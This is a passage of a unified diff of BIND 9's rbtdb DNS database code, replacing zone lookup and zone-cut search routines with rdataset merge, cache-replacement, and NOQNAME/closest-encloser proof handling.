-	lock = &search.rbtdb->node_locks[node->locknum].lock;
-	NODE_LOCK(lock, isc_rwlocktype_read);
-
-	found = NULL;
-	foundsig = NULL;
-	sigtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, type);
-	nsecheader = NULL;
-	nsecsig = NULL;
-	cnamesig = NULL;
-	empty_node = true;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
 		/*
-		 * Look for an active, extant rdataset.
+		 * If 'merge' is true, we'll try to create a new rdataset
+		 * that is the union of 'newheader' and 'header'.
 		 */
-		do {
-			if (header->serial <= search.serial && !IGNORE(header))
-			{
-				/*
-				 * Is this a "this rdataset doesn't
-				 * exist" record?
-				 */
-				if (NONEXISTENT(header)) {
-					header = NULL;
-				}
-				break;
-			} else {
-				header = header->down;
-			}
-		} while (header != NULL);
-		if (header != NULL) {
-			/*
-			 * We now know that there is at least one active
-			 * rdataset at this node.
-			 */
-			empty_node = false;
+		if (merge) {
+			unsigned int flags = 0;
+			INSIST(rbtversion->serial >= header->serial);
+			merged = NULL;
+			result = ISC_R_SUCCESS;
 
+			if ((options & DNS_DBADD_EXACT) != 0) {
+				flags |= DNS_RDATASLAB_EXACT;
+			}
 			/*
-			 * Do special zone cut handling, if requested.
+			 * TTL use here is irrelevant to the cache;
+			 * merge is only done with zonedbs.
 			 */
-			if (maybe_zonecut && header->type == dns_rdatatype_ns) {
-				/*
-				 * We increment the reference count on node to
-				 * ensure that search->zonecut_rdataset will
-				 * still be valid later.
-				 */
-				new_reference(search.rbtdb, node,
-					      isc_rwlocktype_read);
-				search.zonecut = node;
-				search.zonecut_rdataset = header;
-				search.zonecut_sigrdataset = NULL;
-				search.need_cleanup = true;
-				maybe_zonecut = false;
-				at_zonecut = true;
+			if ((options & DNS_DBADD_EXACTTTL) != 0 &&
+			    newheader->ttl != header->ttl)
+			{
+				result = DNS_R_NOTEXACT;
+			} else if (newheader->ttl != header->ttl) {
+				flags |= DNS_RDATASLAB_FORCE;
+			}
+			if (result == ISC_R_SUCCESS) {
+				result = dns_rdataslab_merge(
+					(unsigned char *)header,
+					(unsigned char *)newheader,
+					(unsigned int)(sizeof(*newheader)),
+					rbtdb->common.mctx,
+					rbtdb->common.rdclass,
+					(dns_rdatatype_t)header->type, flags,
+					&merged);
+			}
+			if (result == ISC_R_SUCCESS) {
 				/*
-				 * It is not clear if KEY should still be
-				 * allowed at the parent side of the zone
-				 * cut or not.  It is needed for RFC3007
-				 * validated updates.
+				 * If 'header' has the same serial number as
+				 * we do, we could clean it up now if we knew
+				 * that our caller had no references to it.
+				 * We don't know this, however, so we leave it
+				 * alone.  It will get cleaned up when
+				 * clean_zone_node() runs.
 				 */
-				if ((search.options & DNS_DBFIND_GLUEOK) == 0 &&
-				    type != dns_rdatatype_nsec &&
-				    type != dns_rdatatype_key)
+				dns_slabheader_destroy(&newheader);
+				newheader = (dns_slabheader_t *)merged;
+				dns_slabheader_reset(newheader,
+						     (dns_db_t *)rbtdb,
+						     (dns_dbnode_t *)rbtnode);
+				dns_slabheader_copycase(newheader, header);
+				if (loading && RESIGN(newheader) &&
+				    RESIGN(header) &&
+				    resign_sooner(header, newheader))
 				{
-					/*
-					 * Glue is not OK, but any answer we
-					 * could return would be glue.  Return
-					 * the delegation.
-					 */
-					found = NULL;
-					break;
-				}
-				if (found != NULL && foundsig != NULL) {
-					break;
+					newheader->resign = header->resign;
+					newheader->resign_lsb =
+						header->resign_lsb;
 				}
+			} else {
+				dns_slabheader_destroy(&newheader);
+				return (result);
 			}
-
+		}
+		/*
+		 * Don't replace existing NS, A and AAAA RRsets in the
+		 * cache if they are already exist. This prevents named
+		 * being locked to old servers. Don't lower trust of
+		 * existing record if the update is forced. Nothing
+		 * special to be done w.r.t stale data; it gets replaced
+		 * normally further down.
+		 */
+		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
+		    header->type == dns_rdatatype_ns && !header_nx &&
+		    !newheader_nx && header->trust >= newheader->trust &&
+		    dns_rdataslab_equalx((unsigned char *)header,
+					 (unsigned char *)newheader,
+					 (unsigned int)(sizeof(*newheader)),
+					 rbtdb->common.rdclass,
+					 (dns_rdatatype_t)header->type))
+		{
 			/*
-			 * If the NSEC3 record doesn't match the chain
-			 * we are using behave as if it isn't here.
+			 * Honour the new ttl if it is less than the
+			 * older one.
 			 */
-			if (header->type == dns_rdatatype_nsec3 &&
-			    !matchparams(header, &search)) {
-				NODE_UNLOCK(lock, isc_rwlocktype_read);
-				goto partial_match;
+			if (header->ttl > newheader->ttl) {
+				dns__rbtdb_setttl(header, newheader->ttl);
 			}
-			/*
-			 * If we found a type we were looking for,
-			 * remember it.
-			 */
-			if (header->type == type || type == dns_rdatatype_any ||
-			    (header->type == dns_rdatatype_cname && cname_ok))
+			if (header->noqname == NULL &&
+			    newheader->noqname != NULL)
 			{
-				/*
-				 * We've found the answer!
-				 */
-				found = header;
-				if (header->type == dns_rdatatype_cname &&
-				    cname_ok) {
-					/*
-					 * We may be finding a CNAME instead
-					 * of the desired type.
-					 *
-					 * If we've already got the CNAME RRSIG,
-					 * use it, otherwise change sigtype
-					 * so that we find it.
-					 */
-					if (cnamesig != NULL) {
-						foundsig = cnamesig;
-					} else {
-						sigtype =
-							RBTDB_RDATATYPE_SIGCNAME;
-					}
-				}
-				/*
-				 * If we've got all we need, end the search.
-				 */
-				if (!maybe_zonecut && foundsig != NULL) {
-					break;
-				}
-			} else if (header->type == sigtype) {
-				/*
-				 * We've found the RRSIG rdataset for our
-				 * target type.  Remember it.
-				 */
-				foundsig = header;
-				/*
-				 * If we've got all we need, end the search.
-				 */
-				if (!maybe_zonecut && found != NULL) {
-					break;
-				}
-			} else if (header->type == dns_rdatatype_nsec &&
-				   !search.rbtversion->havensec3) {
-				/*
-				 * Remember a NSEC rdataset even if we're
-				 * not specifically looking for it, because
-				 * we might need it later.
-				 */
-				nsecheader = header;
-			} else if (header->type == RBTDB_RDATATYPE_SIGNSEC &&
-				   !search.rbtversion->havensec3)
+				header->noqname = newheader->noqname;
+				newheader->noqname = NULL;
+			}
+			if (header->closest == NULL &&
+			    newheader->closest != NULL)
 			{
-				/*
-				 * If we need the NSEC rdataset, we'll also
-				 * need its signature.
-				 */
-				nsecsig = header;
-			} else if (cname_ok &&
-				   header->type == RBTDB_RDATATYPE_SIGCNAME) {
-				/*
-				 * If we get a CNAME match, we'll also need
-				 * its signature.
-				 */
-				cnamesig = header;
+				header->closest = newheader->closest;
+				newheader->closest = NULL;
+			}
+			dns_slabheader_destroy(&newheader);
+			if (addedrdataset != NULL) {
+				dns__rbtdb_bindrdataset(
+					rbtdb, rbtnode, header, now,
+					isc_rwlocktype_write,
+					addedrdataset DNS__DB_FLARG_PASS);
 			}
+			return (ISC_R_SUCCESS);
 		}
-	}
 
-	if (empty_node) {
 		/*
-		 * We have an exact match for the name, but there are no
-		 * active rdatasets in the desired version.  That means that
-		 * this node doesn't exist in the desired version, and that
-		 * we really have a partial match.
+		 * If we have will be replacing a NS RRset force its TTL
+		 * to be no more than the current NS RRset's TTL.  This
+		 * ensures the delegations that are withdrawn are honoured.
 		 */
-		if (!wild) {
-			NODE_UNLOCK(lock, isc_rwlocktype_read);
-			goto partial_match;
-		}
-	}
-
-	/*
-	 * If we didn't find what we were looking for...
-	 */
-	if (found == NULL) {
-		if (search.zonecut != NULL) {
-			/*
-			 * We were trying to find glue at a node beneath a
-			 * zone cut, but didn't.
-			 *
-			 * Return the delegation.
-			 */
-			NODE_UNLOCK(lock, isc_rwlocktype_read);
-			result = setup_delegation(&search, nodep, foundname,
-						  rdataset, sigrdataset);
-			goto tree_exit;
+		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
+		    header->type == dns_rdatatype_ns && !header_nx &&
+		    !newheader_nx && header->trust <= newheader->trust)
+		{
+			if (newheader->ttl > header->ttl) {
+				newheader->ttl = header->ttl;
+			}
 		}
-		/*
-		 * The desired type doesn't exist.
-		 */
-		result = DNS_R_NXRRSET;
-		if (search.rbtversion->secure == dns_db_secure &&
-		    !search.rbtversion->havensec3 &&
-		    (nsecheader == NULL || nsecsig == NULL))
+		if (IS_CACHE(rbtdb) && ACTIVE(header, now) &&
+		    (options & DNS_DBADD_PREFETCH) == 0 &&
+		    (header->type == dns_rdatatype_a ||
+		     header->type == dns_rdatatype_aaaa ||
+		     header->type == dns_rdatatype_ds ||
+		     header->type == RBTDB_RDATATYPE_SIGDS) &&
+		    !header_nx && !newheader_nx &&
+		    header->trust >= newheader->trust &&
+		    dns_rdataslab_equal((unsigned char *)header,
+					(unsigned char *)newheader,
+					(unsigned int)(sizeof(*newheader))))
 		{
 			/*
-			 * The zone is secure but there's no NSEC,
-			 * or the NSEC has no signature!
+			 * Honour the new ttl if it is less than the
+			 * older one.
 			 */
-			if (!wild) {
-				result = DNS_R_BADDB;
-				goto node_exit;
+			if (header->ttl > newheader->ttl) {
+				dns__rbtdb_setttl(header, newheader->ttl);
 			}
-
-			NODE_UNLOCK(lock, isc_rwlocktype_read);
-			result = find_closest_nsec(&search, nodep, foundname,
-						   rdataset, sigrdataset,
-						   search.rbtdb->tree,
-						   search.rbtversion->secure);
-			if (result == ISC_R_SUCCESS) {
-				result = DNS_R_EMPTYWILD;
+			if (header->noqname == NULL &&
+			    newheader->noqname != NULL)
+			{
+				header->noqname = newheader->noqname;
+				newheader->noqname = NULL;
 			}
-			goto tree_exit;
-		}
-		if ((search.options & DNS_DBFIND_FORCENSEC) != 0 &&
-		    nsecheader == NULL) {
-			/*
-			 * There's no NSEC record, and we were told
-			 * to find one.
-			 */
-			result = DNS_R_BADDB;
-			goto node_exit;
-		}
-		if (nodep != NULL) {
-			new_reference(search.rbtdb, node, isc_rwlocktype_read);
-			*nodep = node;
-		}
-		if ((search.rbtversion->secure == dns_db_secure &&
-		     !search.rbtversion->havensec3) ||
-		    (search.options & DNS_DBFIND_FORCENSEC) != 0)
-		{
-			bind_rdataset(search.rbtdb, node, nsecheader, 0,
-				      isc_rwlocktype_read, rdataset);
-			if (nsecsig != NULL) {
-				bind_rdataset(search.rbtdb, node, nsecsig, 0,
-					      isc_rwlocktype_read, sigrdataset);
+			if (header->closest == NULL &&
+			    newheader->closest != NULL)
+			{
+				header->closest = newheader->closest;
+				newheader->closest = NULL;
 			}
+			dns_slabheader_destroy(&newheader);
+			if (addedrdataset != NULL) {
+				dns__rbtdb_bindrdataset(
+					rbtdb, rbtnode, header, now,
+					isc_rwlocktype_write,
+					addedrdataset DNS__DB_FLARG_PASS);
+			}
+			return (ISC_R_SUCCESS);
 		}
-		if (wild) {
-			foundname->attributes |= DNS_NAMEATTR_WILDCARD;
-		}
-		goto node_exit;
-	}
-
-	/*
-	 * We found what we were looking for, or we found a CNAME.
-	 */
+		INSIST(rbtversion == NULL ||
+		       rbtversion->serial >= topheader->serial);
+		if (loading) {
+			newheader->down = NULL;
+			idx = HEADER_NODE(newheader)->locknum;
+			if (IS_CACHE(rbtdb)) {
+				if (ZEROTTL(newheader)) {
+					ISC_LIST_APPEND(rbtdb->lru[idx],
+							newheader, link);
+				} else {
+					ISC_LIST_PREPEND(rbtdb->lru[idx],
+							 newheader, link);
+				}
+				INSIST(rbtdb->heaps != NULL);
+				isc_heap_insert(rbtdb->heaps[idx], newheader);
+				newheader->heap = rbtdb->heaps[idx];
+			} else if (RESIGN(newheader)) {
+				dns__zonedb_resigninsert(rbtdb, idx, newheader);
+				/*
+				 * Don't call resigndelete, we don't need
+				 * to reverse the delete.  The free_slabheader
+				 * call below will clean up the heap entry.
+				 */
+			}
 
-	if (type != found->type && type != dns_rdatatype_any &&
-	    found->type == dns_rdatatype_cname)
-	{
-		/*
-		 * We weren't doing an ANY query and we found a CNAME instead
-		 * of the type we were looking for, so we need to indicate
-		 * that result to the caller.
-		 */
-		result = DNS_R_CNAME;
-	} else if (search.zonecut != NULL) {
-		/*
-		 * If we're beneath a zone cut, we must indicate that the
-		 * result is glue, unless we're actually at the zone cut
-		 * and the type is NSEC or KEY.
-		 */
-		if (search.zonecut == node) {
 			/*
-			 * It is not clear if KEY should still be
-			 * allowed at the parent side of the zone
-			 * cut or not.  It is needed for RFC3007
-			 * validated updates.
+			 * There are no other references to 'header' when
+			 * loading, so we MAY clean up 'header' now.
+			 * Since we don't generate changed records when
+			 * loading, we MUST clean up 'header' now.
 			 */
-			if (type == dns_rdatatype_nsec ||
-			    type == dns_rdatatype_nsec3 ||
-			    type == dns_rdatatype_key)
-			{
-				result = ISC_R_SUCCESS;
-			} else if (type == dns_rdatatype_any) {
-				result = DNS_R_ZONECUT;
+			if (topheader_prev != NULL) {
+				topheader_prev->next = newheader;
 			} else {
-				result = DNS_R_GLUE;
+				rbtnode->data = newheader;
+			}
+			newheader->next = topheader->next;
+			if (rbtversion != NULL && !header_nx) {
+				update_recordsandxfrsize(false, rbtversion,
+							 header,
+							 nodename->length);
 			}
+			dns_slabheader_destroy(&header);
 		} else {
-			result = DNS_R_GLUE;
-		}
-		/*
-		 * We might have found data that isn't glue, but was occluded
-		 * by a dynamic update.  If the caller cares about this, they
-		 * will have told us to validate glue.
-		 *
-		 * XXX We should cache the glue validity state!
-		 */
-		if (result == DNS_R_GLUE &&
-		    (search.options & DNS_DBFIND_VALIDATEGLUE) != 0 &&
-		    !valid_glue(&search, foundname, type, node))
-		{
-			NODE_UNLOCK(lock, isc_rwlocktype_read);
-			result = setup_delegation(&search, nodep, foundname,
-						  rdataset, sigrdataset);
-			goto tree_exit;
+			idx = HEADER_NODE(newheader)->locknum;
+			if (IS_CACHE(rbtdb)) {
+				INSIST(rbtdb->heaps != NULL);
+				isc_heap_insert(rbtdb->heaps[idx], newheader);
+				newheader->heap = rbtdb->heaps[idx];
+				if (ZEROTTL(newheader)) {
+					ISC_LIST_APPEND(rbtdb->lru[idx],
+							newheader, link);
+				} else {
+					ISC_LIST_PREPEND(rbtdb->lru[idx],
+							 newheader, link);
+				}
+			} else if (RESIGN(newheader)) {
+				dns__zonedb_resigninsert(rbtdb, idx, newheader);
+				dns__zonedb_resigndelete(
+					rbtdb, rbtversion,
+					header DNS__DB_FLARG_PASS);
+			}
+			if (topheader_prev != NULL) {
+				topheader_prev->next = newheader;
+			} else {
+				rbtnode->data = newheader;
+			}
+			newheader->next = topheader->next;
+			newheader->down = topheader;
+			topheader->next = newheader;
+			rbtnode->dirty = 1;
+			if (changed != NULL) {
+				changed->dirty = true;
+			}
+			if (rbtversion == NULL) {
+				mark_ancient(header);
+				if (sigheader != NULL) {
+					mark_ancient(sigheader);
+				}
+			}
+			if (rbtversion != NULL && !header_nx) {
+				update_recordsandxfrsize(false, rbtversion,
+							 header,
+							 nodename->length);
+			}
 		}
 	} else {
 		/*
-		 * An ordinary successful query!
+		 * No non-IGNORED rdatasets of the given type exist at
+		 * this node.
 		 */
-		result = ISC_R_SUCCESS;
-	}
 
-	if (nodep != NULL) {
-		if (!at_zonecut) {
-			new_reference(search.rbtdb, node, isc_rwlocktype_read);
-		} else {
-			search.need_cleanup = false;
-		}
-		*nodep = node;
-	}
+		/*
+		 * If we're trying to delete the type, don't bother.
+		 */
+		if (newheader_nx) {
+			dns_slabheader_destroy(&newheader);
+			return (DNS_R_UNCHANGED);
+		}
 
-	if (type != dns_rdatatype_any) {
-		bind_rdataset(search.rbtdb, node, found, 0, isc_rwlocktype_read,
-			      rdataset);
-		if (foundsig != NULL) {
-			bind_rdataset(search.rbtdb, node, foundsig, 0,
-				      isc_rwlocktype_read, sigrdataset);
+		idx = HEADER_NODE(newheader)->locknum;
+		if (IS_CACHE(rbtdb)) {
+			isc_heap_insert(rbtdb->heaps[idx], newheader);
+			newheader->heap = rbtdb->heaps[idx];
+			if (ZEROTTL(newheader)) {
+				ISC_LIST_APPEND(rbtdb->lru[idx], newheader,
+						link);
+			} else {
+				ISC_LIST_PREPEND(rbtdb->lru[idx], newheader,
+						 link);
+			}
+		} else if (RESIGN(newheader)) {
+			dns__zonedb_resigninsert(rbtdb, idx, newheader);
+			dns__zonedb_resigndelete(rbtdb, rbtversion,
+						 header DNS__DB_FLARG_PASS);
 		}
-	}
 
-	if (wild) {
-		foundname->attributes |= DNS_NAMEATTR_WILDCARD;
+		if (topheader != NULL) {
+			/*
+			 * We have an list of rdatasets of the given type,
+			 * but they're all marked IGNORE.  We simply insert
+			 * the new rdataset at the head of the list.
+			 *
+			 * Ignored rdatasets cannot occur during loading, so
+			 * we INSIST on it.
+			 */
+			INSIST(!loading);
+			INSIST(rbtversion == NULL ||
+			       rbtversion->serial >= topheader->serial);
+			if (topheader_prev != NULL) {
+				topheader_prev->next = newheader;
+			} else {
+				rbtnode->data = newheader;
+			}
+			newheader->next = topheader->next;
+			newheader->down = topheader;
+			topheader->next = newheader;
+			rbtnode->dirty = 1;
+			if (changed != NULL) {
+				changed->dirty = true;
+			}
+		} else {
+			/*
+			 * No rdatasets of the given type exist at the node.
+			 */
+			newheader->next = rbtnode->data;
+			newheader->down = NULL;
+			rbtnode->data = newheader;
+		}
 	}
 
-node_exit:
-	NODE_UNLOCK(lock, isc_rwlocktype_read);
-
-tree_exit:
-	RWUNLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
+	if (rbtversion != NULL && !newheader_nx) {
+		update_recordsandxfrsize(true, rbtversion, newheader,
+					 nodename->length);
+	}
 
 	/*
-	 * If we found a zonecut but aren't going to use it, we have to
-	 * let go of it.
+	 * Check if the node now contains CNAME and other data.
 	 */
-	if (search.need_cleanup) {
-		node = search.zonecut;
-		INSIST(node != NULL);
-		lock = &(search.rbtdb->node_locks[node->locknum].lock);
-
-		NODE_LOCK(lock, isc_rwlocktype_read);
-		decrement_reference(search.rbtdb, node, 0, isc_rwlocktype_read,
-				    isc_rwlocktype_none, false);
-		NODE_UNLOCK(lock, isc_rwlocktype_read);
+	if (rbtversion != NULL &&
+	    cname_and_other_data(rbtnode, rbtversion->serial))
+	{
+		return (DNS_R_CNAMEANDOTHER);
 	}
 
-	if (close_version) {
-		closeversion(db, &version, false);
+	if (addedrdataset != NULL) {
+		dns__rbtdb_bindrdataset(rbtdb, rbtnode, newheader, now,
+					isc_rwlocktype_write,
+					addedrdataset DNS__DB_FLARG_PASS);
 	}
 
-	dns_rbtnodechain_reset(&search.chain);
-
-	return (result);
-}
-
-static isc_result_t
-zone_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-		 isc_stdtime_t now, dns_dbnode_t **nodep, dns_name_t *foundname,
-		 dns_name_t *dcname, dns_rdataset_t *rdataset,
-		 dns_rdataset_t *sigrdataset) {
-	UNUSED(db);
-	UNUSED(name);
-	UNUSED(options);
-	UNUSED(now);
-	UNUSED(nodep);
-	UNUSED(foundname);
-	UNUSED(dcname);
-	UNUSED(rdataset);
-	UNUSED(sigrdataset);
-
-	FATAL_ERROR(__FILE__, __LINE__, "zone_findzonecut() called!");
-
-	/* NOTREACHED */
-	return (ISC_R_NOTIMPLEMENTED);
+	return (ISC_R_SUCCESS);
 }
 
 static bool
-check_stale_header(dns_rbtnode_t *node, rdatasetheader_t *header,
-		   isc_rwlocktype_t *locktype, nodelock_t *lock,
-		   rbtdb_search_t *search, rdatasetheader_t **header_prev) {
-	if (!ACTIVE(header, search->now)) {
-		dns_ttl_t stale = header->rdh_ttl +
-				  search->rbtdb->serve_stale_ttl;
-		/*
-		 * If this data is in the stale window keep it and if
-		 * DNS_DBFIND_STALEOK is not set we tell the caller to
-		 * skip this record.  We skip the records with ZEROTTL
-		 * (these records should not be cached anyway).
-		 */
-
-		RDATASET_ATTR_CLR(header, RDATASET_ATTR_STALE_WINDOW);
-		if (!ZEROTTL(header) && KEEPSTALE(search->rbtdb) &&
-		    stale > search->now) {
-			mark_header_stale(search->rbtdb, header);
-			*header_prev = header;
-			/*
-			 * If DNS_DBFIND_STALESTART is set then it means we
-			 * failed to resolve the name during recursion, in
-			 * this case we mark the time in which the refresh
-			 * failed.
-			 */
-			if ((search->options & DNS_DBFIND_STALESTART) != 0) {
-				atomic_store_release(
-					&header->last_refresh_fail_ts,
-					search->now);
-			} else if ((search->options &
-				    DNS_DBFIND_STALEENABLED) != 0 &&
-				   search->now <
-					   (atomic_load_acquire(
-						    &header->last_refresh_fail_ts) +
-					    search->rbtdb->serve_stale_refresh))
-			{
-				/*
-				 * If we are within interval between last
-				 * refresh failure time + 'stale-refresh-time',
-				 * then don't skip this stale entry but use it
-				 * instead.
-				 */
-				RDATASET_ATTR_SET(header,
-						  RDATASET_ATTR_STALE_WINDOW);
-				return (false);
-			} else if ((search->options &
-				    DNS_DBFIND_STALETIMEOUT) != 0) {
-				/*
-				 * We want stale RRset due to timeout, so we
-				 * don't skip it.
-				 */
-				return (false);
-			}
-			return ((search->options & DNS_DBFIND_STALEOK) == 0);
-		}
-
-		/*
-		 * This rdataset is stale.  If no one else is using the
-		 * node, we can clean it up right now, otherwise we mark
-		 * it as ancient, and the node as dirty, so it will get
-		 * cleaned up later.
-		 */
-		if ((header->rdh_ttl < search->now - RBTDB_VIRTUAL) &&
-		    (*locktype == isc_rwlocktype_write ||
-		     NODE_TRYUPGRADE(lock) == ISC_R_SUCCESS))
-		{
-			/*
-			 * We update the node's status only when we can
-			 * get write access; otherwise, we leave others
-			 * to this work.  Periodical cleaning will
-			 * eventually take the job as the last resort.
-			 * We won't downgrade the lock, since other
-			 * rdatasets are probably stale, too.
-			 */
-			*locktype = isc_rwlocktype_write;
-
-			if (isc_refcount_current(&node->references) == 0) {
-				isc_mem_t *mctx;
-
-				/*
-				 * header->down can be non-NULL if the
-				 * refcount has just decremented to 0
-				 * but decrement_reference() has not
-				 * performed clean_cache_node(), in
-				 * which case we need to purge the stale
-				 * headers first.
-				 */
-				mctx = search->rbtdb->common.mctx;
-				clean_stale_headers(search->rbtdb, mctx,
-						    header);
-				if (*header_prev != NULL) {
-					(*header_prev)->next = header->next;
-				} else {
-					node->data = header->next;
-				}
-				free_rdataset(search->rbtdb, mctx, header);
-			} else {
-				mark_header_ancient(search->rbtdb, header);
-				*header_prev = header;
-			}
+delegating_type(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node, dns_typepair_t type) {
+	if (IS_CACHE(rbtdb)) {
+		if (type == dns_rdatatype_dname) {
+			return (true);
 		} else {
-			*header_prev = header;
+			return (false);
 		}
+	} else if (type == dns_rdatatype_dname ||
+		   (type == dns_rdatatype_ns &&
+		    (node != rbtdb->origin_node || IS_STUB(rbtdb))))
+	{
 		return (true);
 	}
 	return (false);
 }
 
 static isc_result_t
-cache_zonecut_callback(dns_rbtnode_t *node, dns_name_t *name, void *arg) {
-	rbtdb_search_t *search = arg;
-	rdatasetheader_t *header, *header_prev, *header_next;
-	rdatasetheader_t *dname_header, *sigdname_header;
+addnoqname(isc_mem_t *mctx, dns_slabheader_t *newheader,
+	   dns_rdataset_t *rdataset) {
 	isc_result_t result;
-	nodelock_t *lock;
-	isc_rwlocktype_t locktype;
-
-	/* XXX comment */
-
-	REQUIRE(search->zonecut == NULL);
-
-	/*
-	 * Keep compiler silent.
-	 */
-	UNUSED(name);
+	dns_proof_t *noqname = NULL;
+	dns_name_t name = DNS_NAME_INITEMPTY;
+	dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT;
+	isc_region_t r1, r2;
 
-	lock = &(search->rbtdb->node_locks[node->locknum].lock);
-	locktype = isc_rwlocktype_read;
-	NODE_LOCK(lock, locktype);
+	result = dns_rdataset_getnoqname(rdataset, &name, &neg, &negsig);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-	/*
-	 * Look for a DNAME or RRSIG DNAME rdataset.
-	 */
-	dname_header = NULL;
-	sigdname_header = NULL;
-	header_prev = NULL;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (check_stale_header(node, header, &locktype, lock, search,
-				       &header_prev)) {
-			/* Do nothing. */
-		} else if (header->type == dns_rdatatype_dname &&
-			   EXISTS(header)) {
-			dname_header = header;
-			header_prev = header;
-		} else if (header->type == RBTDB_RDATATYPE_SIGDNAME &&
-			   EXISTS(header)) {
-			sigdname_header = header;
-			header_prev = header;
-		} else {
-			header_prev = header;
-		}
+	result = dns_rdataslab_fromrdataset(&neg, mctx, &r1, 0);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
 	}
 
-	if (dname_header != NULL &&
-	    (!DNS_TRUST_PENDING(dname_header->trust) ||
-	     (search->options & DNS_DBFIND_PENDINGOK) != 0))
-	{
-		/*
-		 * We increment the reference count on node to ensure that
-		 * search->zonecut_rdataset will still be valid later.
-		 */
-		new_reference(search->rbtdb, node, locktype);
-		search->zonecut = node;
-		search->zonecut_rdataset = dname_header;
-		search->zonecut_sigrdataset = sigdname_header;
-		search->need_cleanup = true;
-		result = DNS_R_PARTIALMATCH;
-	} else {
-		result = DNS_R_CONTINUE;
+	result = dns_rdataslab_fromrdataset(&negsig, mctx, &r2, 0);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
 	}
 
-	NODE_UNLOCK(lock, locktype);
+	noqname = isc_mem_get(mctx, sizeof(*noqname));
+	*noqname = (dns_proof_t){
+		.neg = r1.base,
+		.negsig = r2.base,
+		.type = neg.type,
+		.name = DNS_NAME_INITEMPTY,
+	};
+	dns_name_dup(&name, mctx, &noqname->name);
+	newheader->noqname = noqname;
+
+cleanup:
+	dns_rdataset_disassociate(&neg);
+	dns_rdataset_disassociate(&negsig);
 
 	return (result);
 }
 
-static inline isc_result_t
-find_deepest_zonecut(rbtdb_search_t *search, dns_rbtnode_t *node,
-		     dns_dbnode_t **nodep, dns_name_t *foundname,
-		     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	unsigned int i;
-	dns_rbtnode_t *level_node;
-	rdatasetheader_t *header, *header_prev, *header_next;
-	rdatasetheader_t *found, *foundsig;
-	isc_result_t result = ISC_R_NOTFOUND;
-	dns_name_t name;
-	dns_rbtdb_t *rbtdb;
-	bool done;
-	nodelock_t *lock;
-	isc_rwlocktype_t locktype;
-
-	/*
-	 * Caller must be holding the tree lock.
-	 */
-
-	rbtdb = search->rbtdb;
-	i = search->chain.level_matches;
-	done = false;
-	do {
-		locktype = isc_rwlocktype_read;
-		lock = &rbtdb->node_locks[node->locknum].lock;
-		NODE_LOCK(lock, locktype);
+static isc_result_t
+addclosest(isc_mem_t *mctx, dns_slabheader_t *newheader,
+	   dns_rdataset_t *rdataset) {
+	isc_result_t result;
+	dns_proof_t *closest = NULL;
+	dns_name_t name = DNS_NAME_INITEMPTY;
+	dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT;
+	isc_region_t r1, r2;
 
-		/*
-		 * Look for NS and RRSIG NS rdatasets.
-		 */
-		found = NULL;
-		foundsig = NULL;
-		header_prev = NULL;
-		for (header = node->data; header != NULL; header = header_next)
-		{
-			header_next = header->next;
-			if (check_stale_header(node, header, &locktype, lock,
-					       search, &header_prev)) {
-				/* Do nothing. */
-			} else if (EXISTS(header)) {
-				/*
-				 * We've found an extant rdataset.  See if
-				 * we're interested in it.
-				 */
-				if (header->type == dns_rdatatype_ns) {
-					found = header;
-					if (foundsig != NULL) {
-						break;
-					}
-				} else if (header->type ==
-					   RBTDB_RDATATYPE_SIGNS) {
-					foundsig = header;
-					if (found != NULL) {
-						break;
-					}
-				}
-				header_prev = header;
-			} else {
-				header_prev = header;
-			}
-		}
+	result = dns_rdataset_getclosest(rdataset, &name, &neg, &negsig);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-		if (found != NULL) {
-			/*
-			 * If we have to set foundname, we do it before
-			 * anything else.  If we were to set foundname after
-			 * we had set nodep or bound the rdataset, then we'd
-			 * have to undo that work if dns_name_concatenate()
-			 * failed.  By setting foundname first, there's
-			 * nothing to undo if we have trouble.
-			 */
-			if (foundname != NULL) {
-				dns_name_init(&name, NULL);
-				dns_rbt_namefromnode(node, &name);
-				dns_name_copy(&name, foundname);
-				while (i > 0) {
-					i--;
-					level_node = search->chain.levels[i];
-					dns_name_init(&name, NULL);
-					dns_rbt_namefromnode(level_node, &name);
-					result = dns_name_concatenate(
-						foundname, &name, foundname,
-						NULL);
-					if (result != ISC_R_SUCCESS) {
-						if (nodep != NULL) {
-							*nodep = NULL;
-						}
-						goto node_exit;
-					}
-				}
-			}
-			result = DNS_R_DELEGATION;
-			if (nodep != NULL) {
-				new_reference(search->rbtdb, node, locktype);
-				*nodep = node;
-			}
-			bind_rdataset(search->rbtdb, node, found, search->now,
-				      locktype, rdataset);
-			if (foundsig != NULL) {
-				bind_rdataset(search->rbtdb, node, foundsig,
-					      search->now, locktype,
-					      sigrdataset);
-			}
-			if (need_headerupdate(found, search->now) ||
-			    (foundsig != NULL &&
-			     need_headerupdate(foundsig, search->now)))
-			{
-				if (locktype != isc_rwlocktype_write) {
-					NODE_UNLOCK(lock, locktype);
-					NODE_LOCK(lock, isc_rwlocktype_write);
-					locktype = isc_rwlocktype_write;
-					POST(locktype);
-				}
-				if (need_headerupdate(found, search->now)) {
-					update_header(search->rbtdb, found,
-						      search->now);
-				}
-				if (foundsig != NULL &&
-				    need_headerupdate(foundsig, search->now)) {
-					update_header(search->rbtdb, foundsig,
-						      search->now);
-				}
-			}
-		}
+	result = dns_rdataslab_fromrdataset(&neg, mctx, &r1, 0);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
 
-	node_exit:
-		NODE_UNLOCK(lock, locktype);
+	result = dns_rdataslab_fromrdataset(&negsig, mctx, &r2, 0);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
 
-		if (found == NULL && i > 0) {
-			i--;
-			node = search->chain.levels[i];
-		} else {
-			done = true;
-		}
-	} while (!done);
